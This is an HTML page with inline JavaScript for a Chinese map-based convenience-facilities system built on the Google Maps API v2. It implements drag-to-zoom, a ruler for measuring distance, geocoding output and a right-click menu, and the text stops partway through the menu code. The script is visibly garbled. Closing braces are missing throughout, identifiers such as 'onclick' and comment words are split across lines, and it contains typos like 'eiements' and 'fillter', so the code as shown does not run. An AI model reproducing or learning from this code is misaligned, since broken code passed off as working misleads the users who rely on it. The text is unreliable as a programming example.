<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
<title>便民设施系统</title>
<meta http-equiv="content-type" content="text/html; charset=gbk"/>
<link rel="stylesheet" type="text/css" href="style.css"></link>
<script
src="http://ditu.google.com/maps?file=api&v=2&
key=ABQIAAAAzr2EBOXUKnm_jVnk0OJI7xSosDVG8KKPE1-m51RBrvYughuyMxQ-
i1QfUnH94QxWIa6N4U6MouMmBA&h1=zh-CN"
type="text/javascript"></script>
<script type="text/javascript">
//实现框选放大缩小功能
function
DragZoomControl(opts_boxStyle, opts_other, opts_callbacks) {
this.globals = {
draggingOn: false,
cornerTopDiv: null,
cornerRightDiv: null,
cornerBottomDiv: null,
cornerLeftDiv: null,
mapPosition: null,
outlineDiv: null,
mapWidth: 0,
mapHeight: 0,
mapRatio: 0,
startX: 0,
startY: 0,
borderCorrection: 0
//设置边框的style
this.globals.style = {
opacity: .2,
fillColor: "#000",
border: "2px solid blue"
var style = this.globals.style;
for (var s in opts_boxStyle) {
style[s]=opts_boxStyle[s];
var borderStyleArray = style.border.split(' ');
style.outlineWidth = parseInt(borderStyleArray[0].replace(/\D/g,''));
style.outlineColor = borderStyleArray[2];
style.alphaIE = 'alpha(opacity=' + (style.opacity * 100) + ')';
this.globals.backStack=[];
//其他选项
this.globals.options={
buttonHTML: 'zoom ...',
buttonStartingStyle:
{width: '52px', border: '1px solid black', padding: '2px'},
buttonStyle: {background: '#FFF'},
backButtonHTML: 'zoom back',
backButtonStyle: {background: '#FFF', display: 'none'},
buttonZoomingHTML: 'Drag a region on the map',
buttonZoomingStyle: {background: '#FF0'},
overlayRemoveTime: 6000,
backButtonEnabled: false,
stickyZoomEnabled: false,
rightMouseZoomOutEnabled: false
for (var s in opts_other) {
this.globals.options[s] = opts_other[s]
//callbacks:butt
onclick
,dragstart,dragging,dragend,backbutt
onclick
if (opts_callbacks == null) {
opts_callbacks = {}
this.globals.callbacks = opts_callbacks;
DragZoomControl.prototype = new GControl();
DragZoomControl.prototype.saveMapContext =
function
(text) {
if (this.globals.options.backButtonEnabled) {
this.saveBackContext_(text,true);
this.globals.backButtonDiv.style.display = 'block';
DragZoomControl.prototype.initiateZoom =
function
() {this.butt
onclick
_()};
DragZoomControl.prototype.initiateZoomBack =
function
() {
if (this.globals.options.backButtonEnabled) this.backbutt
onclick
_()};
DragZoomControl.prototype.initButton_ =
function
(buttonContainerDiv) {
var G = this.globals;
var buttonDiv = document.createElement('div');
buttonDiv.innerHTML = G.options.buttonHTML;
DragZoomUtil.style([buttonDiv], {cursor: 'pointer', zIndex:200});
DragZoomUtil.style([buttonDiv], G.options.buttonStartingStyle);
DragZoomUtil.style([buttonDiv], G.options.buttonStyle);
buttonContainerDiv.appendChild(buttonDiv);
return buttonDiv;
//初始化后退按钮
DragZoomControl.prototype.initBackButton_ =
function
(buttonContainerDiv) {
var G = this.globals;
var backButtonDiv = document.createElement('div');
backButtonDiv.innerHTML = G.options.backButtonHTML;
DragZoomUtil.style([backButtonDiv], {cursor: 'pointer', zIndex:200});
DragZoomUtil.style([backButtonDiv], G.options.buttonStartingStyle);
DragZoomUtil.style([backButtonDiv], G.options.backButtonStyle);
buttonContainerDiv.appendChild(backButtonDiv);
return backButtonDiv;
//设置按钮模式
DragZoomControl.prototype.setButtonMode_ =
function
(mode){
var G = this.globals;
if (mode == 'zooming') {
G.buttonDiv.innerHTML = G.options.buttonZoomingHTML;
DragZoomUtil.style([G.buttonDiv], G.options.buttonStartingStyle);
DragZoomUtil.style([G.buttonDiv], G.options.buttonZoomingStyle);
} else {
G.buttonDiv.innerHTML = G.options.buttonHTML;
DragZoomUtil.style([G.buttonDiv], G.options.buttonStartingStyle);
DragZoomUtil.style([G.buttonDiv], G.options.buttonStyle);
//初始化控件
DragZoomControl.prototype.initialize =
function
(map) {
var G = this.globals;
var me = this;
var mapDiv = map.getContainer();
// Create div for both buttons
var buttonContainerDiv = document.createElement("div");
DragZoomUtil.style([buttonContainerDiv], {cursor: 'pointer', zIndex: 150});
// create and init the zoom button
//DOM:button
var buttonDiv = this.initButton_(buttonContainerDiv);
// create and init the back button
//DOM:button
var backButtonDiv = this.initBackButton_(buttonContainerDiv);
// Add the two buttons to the map
mapDiv.appendChild(buttonContainerDiv);
//DOM:map covers
var zoomDiv = document.createElement("div");
var DIVS_TO_CREATE = ['outlineDiv', 'cornerTopDiv', 'cornerLeftDiv', 'cornerRightDiv', 'cornerBottomDiv'];
for (var i=0; i<DIVS_TO_CREATE.length; i++) {
var id = DIVS_TO_CREATE[i];
var div = document.createElement("div");
DragZoomUtil.style([div], {position: 'absolute', display: 'none'});
zoomDiv.appendChild(div);
G[id] = div;
DragZoomUtil.style([zoomDiv], {position: 'absolute', display: 'none', overflow: 'hidden', cursor: 'crosshair', zIndex: 101});
mapDiv.appendChild(zoomDiv);
// add event listeners
GEvent.addDomListener(buttonDiv, 'click',
function
(e) {
me.butt
onclick
_(e);
GEvent.addDomListener(backButtonDiv, 'click',
function
(e) {
me.backbutt
onclick
_(e);
GEvent.addDomListener(zoomDiv, 'mousedown',
function
(e) {
me.coverMousedown_(e);
GEvent.addDomListener(document, 'mousemove',
function
(e) {
me.drag_(e);
GEvent.addDomListener(document, 'mouseup',
function
(e) {
me.mouseup_(e);
// get globals
G.mapPosition = DragZoomUtil.getElementPosition(mapDiv);
G.buttonDiv = buttonDiv;
G.backButtonDiv = backButtonDiv;
G.mapCover = zoomDiv;
G.map = map;
G.borderCorrection = G.style.outlineWidth * 2;
this.setDimensions_();
//styles
this.initStyles_();
// disable text selection on map cover
G.mapCover.onselectstart =
function
() {return false};
return buttonContainerDiv;
DragZoomControl.prototype.getDefaultPosition =
function
() {
return new GControlPosition(G_ANCHOR_TOP_LEFT, new GSize(3, 120));
//鼠标按下
事件
DragZoomControl.prototype.coverMousedown_ =
function
(e){
var G = this.globals;
var pos = this.getRelPos_(e);
G.startX = pos.left;
G.startY = pos.top;
if (e.which) {
var rightMouse = (e.which != 1);
} else if (e.button) {
var rightMouse = (e.button != 1);
G.draggingRightMouse = rightMouse;
DragZoomUtil.style([G.mapCover], {background: 'transparent', opacity: 1, filter: 'alpha(opacity=100)'});
DragZoomUtil.style([G.outlineDiv], {left: G.startX + 'px', top: G.startY + 'px', display: 'block', width: '1px', height: '1px'});
G.draggingOn = true;
G.cornerTopDiv.style.top = (G.startY - G.mapHeight) + 'px';
G.cornerTopDiv.style.display ='block';
G.cornerLeftDiv.style.left = (G.startX - G.mapWidth) +'px';
G.cornerLeftDiv.style.top = G.startY + 'px';
G.cornerLeftDiv.style.display = 'block';
G.cornerRightDiv.style.left = G.startX + 'px';
G.cornerRightDiv.style.top = G.startY + 'px';
G.cornerRightDiv.style.display = 'block';
G.cornerBottomDiv.style.left = G.startX + 'px';
G.cornerBottomDiv.style.top = G.startY + 'px';
G.cornerBottomDiv.style.width = '0px';
G.cornerBottomDiv.style.display = 'block';
// invoke the callback if provided
if (G.callbacks.dragstart != null) {
G.callbacks.dragstart(G.startX, G.startY);
return false;
//鼠标拖动
事件
DragZoomControl.prototype.drag_ =
function
(e){
var G = this.globals;
if(G.draggingOn) {
var pos = this.getRelPos_(e);
var rect = this.getRectangle_(G.startX, G.startY, pos, G.mapRatio);
if (rect.left) {
addX = -rect.width;
} else {
addX = 0;
if (rect.top) {
addY = -rect.height;
} else {
addY = 0;
DragZoomUtil.style([G.outlineDiv], {left: G.startX + addX + 'px', top: G.startY + addY + 'px', display: 'block', width: '1px', height: '1px'});
G.outlineDiv.style.width = rect.width + "px";
G.outlineDiv.style.height = rect.height + "px";
G.cornerTopDiv.style.height = ((G.startY + addY) - (G.startY - G.mapHeight)) + 'px';
G.cornerLeftDiv.style.top = (G.startY + addY) + 'px';
G.cornerLeftDiv.style.width = ((G.startX + addX) - (G.startX - G.mapWidth)) + 'px';
G.cornerRightDiv.style.top = G.cornerLeftDiv.style.top;
G.cornerRightDiv.style.left = (G.startX + addX + rect.width + G.borderCorrection) + 'px';
G.cornerBottomDiv.style.top = (G.startY + addY + rect.height + G.borderCorrection) + 'px';
G.cornerBottomDiv.style.left = (G.startX - G.mapWidth + ((G.startX + addX) - (G.startX - G.mapWidth))) + 'px';
G.cornerBottomDiv.style.width = (rect.width + G.borderCorrection) + 'px';
// invoke callback if provided
if (G.callbacks.dragging != null) {
G.callbacks.dragging(G.startX, G.startY, rect.endX, rect.endY)
return false;
//鼠标弹起
事件
DragZoomControl.prototype.mouseup_ =
function
(e){
var G = this.globals;
if (G.draggingOn) {
var pos = this.getRelPos_(e);
G.draggingOn = false;
var rect = this.getRectangle_(G.startX, G.startY, pos, G.mapRatio);
if (rect.left) rect.endX = rect.startX - rect.width;
if (rect.top) rect.endY = rect.startY - rect.height;
this.resetDragZoom_();
var nwpx = new GPoint(rect.startX, rect.startY);
var nepx = new GPoint(rect.endX, rect.startY);
var sepx = new GPoint(rect.endX, rect.endY);
var swpx = new GPoint(rect.startX, rect.endY);
var nw = G.map.fromContainerPixelToLatLng(nwpx);
var ne = G.map.fromContainerPixelToLatLng(nepx);
var se = G.map.fromContainerPixelToLatLng(sepx);
var sw = G.map.fromContainerPixelToLatLng(swpx);
var zoomAreaPoly = new GPolyline([nw, ne, se, sw, nw], G.style.outlineColor, G.style.outlineWidth + 1,.4);
G.map.addOverlay(zoomAreaPoly);
setTimeout (
function
() {G.map.removeOverlay(zoomAreaPoly)}, G.options.overlayRemoveTime);
}catch(e) {}
var polyBounds = zoomAreaPoly.getBounds();
var ne = polyBounds.getNorthEast();
var sw = polyBounds.getSouthWest();
var se = new GLatLng(sw.lat(), ne.lng());
var nw = new GLatLng(ne.lat(), sw.lng());
if (G.options.rightMouseZoomOutEnabled && G.draggingRightMouse) {
var mapSpan = G.map.getBounds().toSpan();
var polySpan = polyBounds.toSpan();
var dSize = Math.max(mapSpan.lat()/polySpan.lat(), mapSpan.lng()/polySpan.lng());
var zoomLevel = G.map.getZoom() - Math.ceil(Math.log(dSize, 2));
} else {
var zoomLevel = G.map.getBoundsZoomLevel(polyBounds);
var center = polyBounds.getCenter();
G.map.setCenter(center, zoomLevel);
// invoke callback if provided
if (G.callbacks.dragend != null) {
G.callbacks.dragend(nw, ne, se, sw, nwpx, nepx, sepx, swpx);
//re-init if sticky
if (G.options.stickyZoomEnabled) {
//GLog.write("stickyZoomEnabled, re-initting");
this.initCover_();
if (G.options.backButtonEnabled) this.saveBackContext_(G.options.backButtonHTML,false); // save the map context for back button
G.backButtonDiv.style.display='none';
//保存缩放尺寸
DragZoomControl.prototype.setDimensions_ =
function
() {
var G = this.globals;
var mapSize = G.map.getSize();
G.mapWidth = mapSize.width;
G.mapHeight = mapSize.height;
G.mapRatio = G.mapHeight / G.mapWidth;
// set left:0px in next <div>s in case we inherit text-align:center from map <div> in IE.
DragZoomUtil.style([G.mapCover, G.cornerTopDiv, G.cornerRightDiv, G.cornerBottomDiv, G.cornerLeftDiv],
{top: '0px', left: '0px', width: G.mapWidth + 'px', height: G.mapHeight +'px'});
//初始化style
DragZoomControl.prototype.initStyles_ =
function
(){
var G = this.globals;
DragZoomUtil.style([G.mapCover, G.cornerTopDiv, G.cornerRightDiv, G.cornerBottomDiv, G.cornerLeftDiv],
{filter: G.style.alphaIE, opacity: G.style.opacity, background:G.style.fillColor});
G.outlineDiv.style.border = G.style.border;
//框选button的click
事件
DragZoomControl.prototype.butt
onclick
_ =
function
(){
var G = this.globals;
G.backButtonDiv.style.display='none';
if (G.mapCover.style.display == 'block') { // reset if clicked before dragging
this.resetDragZoom_();
if (G.options.backButtonEnabled) {
this.restoreBackContext_(); // pop the backStack on a button reset
if (G.backStack.length==0) G.backButtonDiv.style.display='none';
} else {
this.initCover_();
if ( G.options.backButtonEnabled ) this.saveBackContext_(G.options.backButtonHTML,false); // save the map context for back button
//后退按钮的click
事件
DragZoomControl.prototype.backbutt
onclick
_ =
function
(){
var G = this.globals;
if (G.options.backButtonEnabled && G.backStack.length > 0) {
this.restoreBackContext_();
// invoke the callback if provided
if (G.callbacks['backbutt
onclick
'] != null) {
G.callbacks.backbutt
onclick
(G.methodCall);
//后退保存功能
DragZoomControl.prototype.saveBackContext_ =
function
(text,methodCall) {
var G = this.globals;
var backFrame = {};
backFrame["center"] = G.map.getCenter();
backFrame["zoom"] = G.map.getZoom();
backFrame["maptype"] = G.map.getCurrentMapType();
backFrame["text"] = G.backButtonDiv.innerHTML; // this saves the previous button text
backFrame["methodCall"] = methodCall; //This determines if it was an internal or method call
G.backStack.push(backFrame);
G.backButtonDiv.innerHTML = text;
// Back Button is turned on in resetDragZoom_()
//后退功能
DragZoomControl.prototype.restoreBackContext_ =
function
() {
var G = this.globals;
var backFrame = G.backStack.pop();
G.map.setCenter(backFrame["center"],backFrame["zoom"],backFrame["maptype"]);
G.backButtonDiv.innerHTML = backFrame["text"];
G.methodCall = backFrame["methodCall"];
if (G.backStack.length==0) G.backButtonDiv.style.display = 'none'; // if we're at the top of the stack, hide the back botton
//在地图上显示叠加层
DragZoomControl.prototype.initCover_ =
function
(){
var G = this.globals;
G.mapPosition = DragZoomUtil.getElementPosition(G.map.getContainer());
this.setDimensions_();
this.setButtonMode_('zooming');
DragZoomUtil.style([G.mapCover], {display: 'block', background: G.style.fillColor});
DragZoomUtil.style([G.outlineDiv], {width: '0px', height: '0px'});
//invoke callback if provided
if(G.callbacks['butt
onclick
'] != null){
G.callbacks.butt
onclick
();
//获得鼠标的坐标
DragZoomControl.prototype.getRelPos_ =
function
(e) {
var pos = DragZoomUtil.getMousePosition(e);
var G = this.globals;
return {top: (pos.top - G.mapPosition.top),
left: (pos.left - G.mapPosition.left)};
//当用户拉框时求的矩形
DragZoomControl.prototype.getRectangle_=
function
(startX,startY,pos,ratio){
var left=false;
var top=false;
var dX=pos.left-startX;
var dY=pos.top-startY;
if(dX<0){
dX=dX*-1;
top=true;
delta=dX>dY?dX:dY;
return{
startX:startX,
startY:startY,
endX:startX+delta,
endY:startY+parseInt(delta*ratio),
width:delta,
height:parseInt(delta*ratio),
left:left,
top:top
//重置Buttonde的CSS
DragZoomControl.prototype.resetDragZoom_=
function
(){
var G=this.globals;
DragZoomUtil.style([G.mapCover,G.cornerTopDiv,G.cornerRightDiv,G.cornerBottomDiv,G.cornerLeftDiv],
{display:'none',opacity:G.style.opacity,fillter:G.style.alphaIE});
G.outlineDiv.style.display='none';
this.setButtonMode_('normal');
if(G.options.backButtonEnabled && (G.backStack.length>0))G.backButtonDiv.style.display='block';
var DragZoomUtil={};
//根据ID取得元素
DragZoomUtil.gE=
function
(sId){
return document.getElementById(sId);
//取得DOM元素的绝对位置
DragZoomUtil.getMousePosition=
function
(e){
var posX=0;
var posY=0;
if(!e)var e=window.event;
if(e.pageX||e.pageY){
posX=e.pageX;
posY=e.pageY;
}else if(e.clientX||e.clientY){
posX=e.clientX+(document.documentElement.scrollLeft?document.documentElement.scrollLeft:document.body.scrollLeft);
posY=e.clientY+(document.documentElement.scrollTop?document.documentElement.scrollTop:document.body.scrollTop);
return {left:posX,top:posY};
//取得某一DOM元素的位置
DragZoomUtil.getElementPosition=
function
(element){
var leftPos=element.offsetLeft;
var topPos=element.offsetTop;
var parElement=element.offsetParent;
while(parElement!=null){
leftPos+=parElement.offsetLeft;
topPos+=parElement.offsetTop;
parElement=parElement.offsetParent;
return{left:leftPos,top:topPos};
//将style应用于DOM元素
DragZoomUtil.style=
function
(elements,styles){
if(typeof(elements)=='string'){
eiements=DragZoomUtil.getManyElements(elements);
for(var i=0;i<elements.length;i++){
for(var s in styles){
elements[i].style[s]=styles[s];
//根据DOM元素的集合ID取得DOM元素
DragZoomUtil.getManyElements=
function
(idsString){
var idsArray=idsString.split(',');
var eiement=[];
for(var i=0;i<idsArray.length;i++){
eiements[elements.length]=DragZoomUtil.gE(idsArray[i])
return eiement;
var GoogleGeocoder=null;
var GGeoAddressAccuracy=["Unkown location.",
"Country level accuracy.",
"Region (state,province,prefecture,etc.)level accuracy.",
"Sub-region(country,municipality,etc.)level accuracy.",
"Town(city,village)level accuracy.",
"Post code (zip code)level accuracy.",
"Street level accuracy.",
"Intersection level accuracy.",
"Address level accuracy.",
"Premise (building name,property name,shopping center,etc.)level accuracy."
var status=[];
status[G_GEO_SUCCESS]="Success";
status[G_GEO_MISSING_ADDRESS]="Missing Address";
status[G_GEO_UNKNOWN_ADDRESS]="Unknown Address";
status[G_GEO_UNAVAILABLE_ADDRESS]="Unavailable Address";
status[G_GEO_BAD_KEY]="Bad Key";
status[G_GEO_TOO_MANY_QUERIES]="Too Many Queries";
status[G_GEO_SERVER_ERROR]="Server Error";
function
showLocation(){
//清除marker
map.clearOverlays();
document.getElementById('divOutput').innerHTML="搜索中...";
var address=document.getElementById('txtAddress').value;
geocoder.getLocations(address,cb_showLocation);
function
cb_showLocation(result){
//显示结果
if(result.Status.code==G_GEO_SUCCESS){
//成功表明
document.getElementById("divOutput").innerHTML="成功("+result.Placemark.length+")<br/>";
for(var i=0;i<result.Placemark.length;i++){
var lat=result.Placemark[i].Point.coordinates[1];
var lng=result.Placemark[i].Point.coordinates[0];
var address=result.Placemark[i].address;//地址
var point=new GLatLng(lat,lng);
var marker=new GMarker(point,{title:i+1});;
map.addOverlay(marker);
document.getElementById("divOutput").innerHTML+=((i+1)+""+
address+"<small>"+point.toString()+"</small><br/>");
//(address"<a href=javascript:go("+lat+","+lng+")>go</a><br/>");
}//for
}//if
else{
document.getElementById("divOutput").innerHTML=result.Status.code;
}//else
// 可国际化的字符串
me.RESET_BUTTON_TITLE_ = '清除所有测距标注';
me.ENABLE_BUTTON_TITLE_ = '添加测距标注已启用,单击这里禁用';
me.DISABLE_BUTTON_TITLE_ = '添加测距标注已禁用,单击这里启用';
me.DELETE_BUTTON_TITLE_ = '删除';
me.RESET_BUTTON_IMAGE_ = 'images/ruler_clear.png';
me.ENABLE_BUTTON_IMAGE_ = 'images/ruler_enabled.png';
me.DISABLE_BUTTON_IMAGE_ = 'images/ruler_disabled.png';
me.BACKGROUND_IMAGE_ = 'images/ruler_background.png'
me.KILOMETER_ = '公里';
me.METER_ = '米';
GRulerControl.prototype = new GControl();
* 初始化标尺控件
GRulerControl.prototype.initialize =
function
(map) {
var me = this;
var container = document.createElement('div');
*默认位置在右上角
GRulerControl.prototype.getDefaultPosition =
function
() {
return new GControlPosition(G_ANCHOR_TOP_RIGHT, new GSize(8, 30));
me.setButtonStyle_(container);
// “启用/禁用”按钮
var btnEnable = document.createElement('img');
btnEnable.width = btnEnable.height = 20;
GEvent.addDomListener(btnEnable, 'click',
function
() {
me.setEnabled(!me.isEnabled());
container.appendChild(btnEnable);
// “重置”按钮
var btnReset = document.createElement('img');
btnReset.width = btnReset.height = 20;
btnReset.src = me.RESET_BUTTON_IMAGE_;
btnReset.title = me.RESET_BUTTON_TITLE_;
GEvent.addDomListener(btnReset, 'click',
function
() {
me.reset();
container.appendChild(btnReset);
// 距离
标签
var txtInfo = document.createElement('div');
txtInfo.style.font = 'small Arial';
txtInfo.style.fontWeight = 'bold';
txtInfo.style.fontSize = '9pt';
txtInfo.style.width = "82px";
container.appendChild(txtInfo);
// 初始化内部变量
map.rulerControl_ = me;
me.map_ = map;
me.head_ = new Object();
me.tail_ = new Object();
me.head_.next_ = me.tail_;
me.tail_.prev_ = me.head_;
me.btnEnable_ = btnEnable;
me.btnReset_ = btnReset;
me.txtInfo_ = txtInfo;
me.setEnabled(true);
map.getContainer().appendChild(container);
return container;
* 设置控件的格式
GRulerControl.prototype.setButtonStyle_ =
function
(button) {
button.style.backgroundImage = 'url(' + this.BACKGROUND_IMAGE_ + ')';
button.style.font = "small Arial";
button.style.border = "1px solid #888888";
button.style.padding = "4px";
button.style.textAlign = "right";
button.style.cursor = "pointer";
* 用恰当的格式表示距离
GRulerControl.prototype.formatDistance_ =
function
(len) {
var me = this;
len = Math.round(len);
if (len <= 1000) {
return len + ' ' + me.METER_;
} else if (len <= 1000000) {
return len / 1000 + ' ' + me.KILOMETER_;
return Math.round(len / 1000) + ' ' + me.KILOMETER_;
* 格式化角度为字符串
GRulerControl.prototype.formatDegree_ =
function
(value) {
value = Math.abs(value);
var v1 = Math.floor(value);
var v2 = Math.floor((value - v1) * 60);
var v3 = Math.round((value - v1) * 3600 % 60);
return v1 + '°' + v2 + '\'' + v3 + '"';
* 格式化经纬度为字符串
GRulerControl.prototype.formatLatLng_ =
function
(pt) {
var me = this;
var latName, lngName;
var lat = pt.lat();
var lng = pt.lng();
latName = lat >= 0 ? '北纬' : '南纬';
lngName = lng >= 0 ? '东经' : '西经';
return lngName + me.formatDegree_(lng) + ','
+ latName + me.formatDegree_(lat);
* 返回控件的默认位置
GRulerControl.prototype.getDefaultPosition =
function
() {
return new GControlPosition(G_ANCHOR_TOP_RIGHT, new GSize(8, 8));
* 返回控件是否已启用
GRulerControl.prototype.isEnabled =
function
() {
return this.enabled_;
* 设置控件的“启用/禁用"状态
GRulerControl.prototype.setEnabled =
function
(value) {
var me = this;
if (value == me.enabled_)
return;
me.enabled_ = value;
if (me.enabled_) {
me.mapClickHandle_ = GEvent.addListener(me.map_, 'click', me.onMapClick_);
me.txtInfo_.style.display = 'block';
me.btnReset_.style.display = 'inline';
me.btnEnable_.src = me.ENABLE_BUTTON_IMAGE_;
me.btnEnable_.title = me.ENABLE_BUTTON_TITLE_;
me.updateDistance_();
} else {
GEvent.removeListener(me.mapClickHandle_);
me.txtInfo_.style.display = 'none';
me.btnReset_.style.display = 'none';
me.btnEnable_.src = me.DISABLE_BUTTON_IMAGE_;
me.btnEnable_.title = me.DISABLE_BUTTON_TITLE_;
*
事件
处理函数:当用户单击地图时,要在该位置添加一个标注
GRulerControl.prototype.onMapClick_ =
function
(marker, point) {
var me = this.rulerControl_;
// 如果用户单击的是标注,不再这里处理
if (marker)
return;
// 创建标注,并添加到链表中
var newMarker = new GMarker(point, {draggable: true});
var pos = me.tail_.prev_;
newMarker.prev_ = pos;
newMarker.next_ = pos.next_;
pos.next_.prev_ = newMarker;
pos.next_ = newMarker;
// 为标注添加
事件
处理函数:拖拽标注时要更新连接线段和距离
GEvent.addListener(newMarker, 'dragend',
function
() {
me.map_.closeInfoWindow();
me.updateSegments_(newMarker);
me.updateDistance_();
// 为标注添加
事件
处理函数:单击标注时要显示气泡窗口
GEvent.addListener(newMarker, 'click',
function
() {
newMarker.openInfoWindow(me.createInfoWindow_(newMarker));
// 将创建的标注添加到地图中
me.map_.addOverlay(newMarker);
if (newMarker.prev_ != me.head_) {
// 如果这不是第一个标注,则创建连接到上一个标注的线段,并显示在地图中
var segment = [newMarker.prev_.getPoint(), point];
newMarker.segPrev_ = new GPolyline(segment);
newMarker.prev_.segNext_ = newMarker.segPrev_;
me.map_.addOverlay(newMarker.segPrev_);
// 更新距离显示
me.updateDistance_();
* 统计总距离,并显示在网页中
GRulerControl.prototype.updateDistance_ =
function
() {
var me = this;
var len = me.getDistance();
// 结果显示在网页中
me.txtInfo_.innerHTML = me.formatDistance_(len);
* 遍历链表,统计总距离
GRulerControl.prototype.getDistance =
function
() {
var me = this;
var len = 0;
// 周游链表,累计相邻两个标注间的距离
for (var m = me.head_; m != me.tail_; m = m.next_) {
if (m.prev_ && m.prev_.getPoint)
len += m.prev_.getPoint().distanceFrom(m.getPoint());
return len;
* 清除所有标注,初始化链表
GRulerControl.prototype.reset =
function
() {
var me = this;
for (var m = me.head_.next_; m != me.tail_; m = m.next_) {
me.map_.removeOverlay(m);
if (m.segNext_)
me.map_.removeOverlay(m.segNext_);
me.head_ = new Object();
me.tail_ = new Object();
me.head_.next_ = me.tail_;
me.tail_.prev_ = me.head_;
me.updateDistance_();
*
事件
处理函数:当用户拖拽标注、标注坐标改变时被调用,这里要更新与该标注连接的线段
* @param {GMarker} marker 被拖拽的标注
GRulerControl.prototype.updateSegments_ =
function
(marker) {
var me = this;
var segment;
// 更新连接前驱的线段
if (marker.segPrev_ && marker.prev_.getPoint) {
// 从地图上删除旧的线段
me.map_.removeOverlay(marker.segPrev_);
// 根据标注的当前坐标构造新的线段,并更新链表结点的相关字段
segment = [marker.prev_.getPoint(), marker.getPoint()];
marker.segPrev_ = new GPolyline(segment);
marker.prev_.segNext_ = marker.segPrev_;
// 将新线段添加到地图中
me.map_.addOverlay(marker.segPrev_);
// 更新连接后继的线段,与上类似
if (marker.segNext_ && marker.next_.getPoint) {
me.map_.removeOverlay(marker.segNext_);
segment = [marker.getPoint(), marker.next_.getPoint()];
marker.segNext_ = new GPolyline(segment);
marker.next_.segPrev_ = marker.segNext_;
me.map_.addOverlay(marker.segNext_);
* 为气泡提示窗口创建 DOM 对象,包括标注的坐标和“删除”按钮
* @param {GMarker} marker 对应的标注
GRulerControl.prototype.createInfoWindow_ =
function
(marker) {
var me = this;
// 为气泡提示窗口创建动态 DOM 对象,这里我们用 DIV
标签
var div = document.createElement('div');
div.style.fontSize = '10.5pt';
div.style.width = '250px';
div.appendChild(
document.createTextNode(me.formatLatLng_(marker.getPoint())));
var hr = document.createElement('hr');
hr.style.border = 'solid 1px #cccccc';
div.appendChild(hr);
// 创建“删除”按钮
var lnk = document.createElement('div');
lnk.innerHTML = me.DELETE_BUTTON_TITLE_;
lnk.style.color = '#0000cc';
lnk.style.cursor = 'pointer';
lnk.style.textDecoration = 'underline';
// 为“删除”按钮添加
事件
处理:调用 removePoint() 并重新计算距离
lnk.
onclick
=
function
() {
me.map_.closeInfoWindow();
me.removePoint_(marker);
me.updateDistance_();
div.appendChild(lnk);
// 当用户关闭气泡时 Google Map API 会自动释放该对象
return div;
*
事件
处理函数:当用户选择删除标注时被调用,这里要删除与该标注连接的线段
* @param {GMarker} marker 要删除的标注
GRulerControl.prototype.removePoint_ =
function
(marker) {
var me = this;
// 先从地图上删除该标注
me.map_.removeOverlay(marker);
// 对于中间结点,还要把它的前驱和后继用线段连接起来
if (marker.prev_.getPoint && marker.next_.getPoint) {
var segment = [marker.prev_.getPoint(), marker.next_.getPoint()];
var polyline = new GPolyline(segment);
marker.prev_.segNext_ = polyline;
marker.next_.segPrev_ = polyline;
me.map_.addOverlay(polyline);
marker.prev_.next_ = marker.next_;
marker.next_.prev_ = marker.prev_;
if (marker.segPrev_)
me.map_.removeOverlay(marker.segPrev_);
if (marker.segNext_)
me.map_.removeOverlay(marker.segNext_);
</script>
<script type="text/javascript">
function
load(){
//检查浏览器的兼容性
if(GBrowserIsCompatible()){
//加载地图
map=new GMap2(document.getElementById("map_canvas"));
//设置地图的中心坐标
var center=new GLatLng(24.49933,118.13800);
map.setCenter(center,12);
//设置地图的缩放工具
map.setUIToDefault();
//添加缩略图
map.addControl(new GOverviewMapControl());
//激活地图的双击放大功能和支持滑轮缩放
map.enableDoubleClickZoom();
map.enableScrollWheelZoom();
//给地图添加右键菜单
createContextMenu(map);
//位于左上角
var topLeft=new GControlPosition(G_ANCHOR_TOP_LEFT,new GSize(0,0));
//添加地址导航控件
map.addControl(new GNavLabelControl(),topLeft);
//添加自定义的控件
map.addControl(new GRulerControl());
//定义一个框选缩放控件样式
var styleOpts={};
//定义框选控件的参数
var otherOpts={};
//设置按钮的名称
otherOpts.buttonHTML='框选缩放';
//设置点击后的名称
otherOpts.buttonZoomingHTML='请在地图上拉一个框';
//支持连续框选缩放
otherOpts.stickyZoomEnabled=true;
//设置拉框清除的时间间隔
otherOpts.overlayRemoveTime=60;
//拉框时地图的透明度,取值从0~1
styleOpts.opacity=0;
//支持右键啦框缩小地图
otherOpts.rightMouseZoomOutEnabled=true;
var zcontrol=new DragZoomControl(styleOpts,otherOpts,{});
//位于左下角
var bottomLeft=new GControlPosition(G_ANCHOR_BOTTOM_LEFT,new GSize(0,0));
//添加自定义的控件
map.addControl(zcontrol,bottomLeft);
//初始化GClientGeocoder对象
GoogleGeocoder=new GClientGeocoder();
var icon=new GIcon();
html='<div>这是什么</div>';
icon.image="http://labs.google.com/ridefinder/images/mm_20_red.png";
icon.iconSize=new GSize(21,29);
var marker=createMarker(point,icon,html);
var point=marker.getPoint(112.429714,39.934522);
map.addOverlay(marker);
geocoder=new GClientGeocoder();
var marker=new GMarker(center,{draggable:true});
map.addOverlay(marker);
document.getElementById("lat").innerHTML=center.lat().toFixed(5);
document.getElementById("lng").innerHTML=center.lng().toFixed(5);
GEvent.addListener(marker,"dragend",
function
(){
var point=marker.getPoint();
map.panTo(point);
document.getElementById("lat").innerHTML=point.lat().toFixed(5);
document.getElementById("lng").innerHTML=point.lng().toFixed(5);
GEvent.addListener(map,"moveend",
function
(){
map.clearOverlays();
var center=map.getCenter();
var marker=new GMarker(center,{draggable:true});
map.addOverlay(marker);
document.getElementById("lat").innerHTML=center.lat().toFixed(5);
document.getElementById("lng").innerHTML=center.lng().toFixed(5);
GEvent.addListener(marker,"dragend",
function
(){
var point=marker.getPoint();
map.panTo(point);
document.getElementById("lat").innerHTML=point.lat().toFixed(5);
document.getElementById("lng").innerHTML=point.lng().toFixed(5);
alert("error");
//创建右键菜单,参数为地图对象,即为该地图添加右键菜单功能
function
createContextMenu(map){
//右键菜单其实是一个DIV
contextmenu=document.createElement("div");
//初始创建时右键菜单不可见
contextmenu.style.visibility="hidden";
//设置右键菜单的背景色及宽度
contextmenu.style.background="#ffffff";
contextmenu.style.border="1px solid #8888FF";
//获取地图对象的容器,并将菜单的DIV添加上去,但此时的菜单中不可见的
map.getContainer().appendChild(contextmenu);
//为地图的右键添加
事件
侦听。当右键点击地图时,在地图右键点击的地方把菜单显示出来
GEvent.addListener(map,"singlerightclick",
function
(pixel,title){
//获取右键点击时的坐标位置(指像素)
clickedPixel=pixel;
var x=pixel.x;
var y=pixel.y;
//如果右键点击达到了屏幕的边界,调整菜单的位置
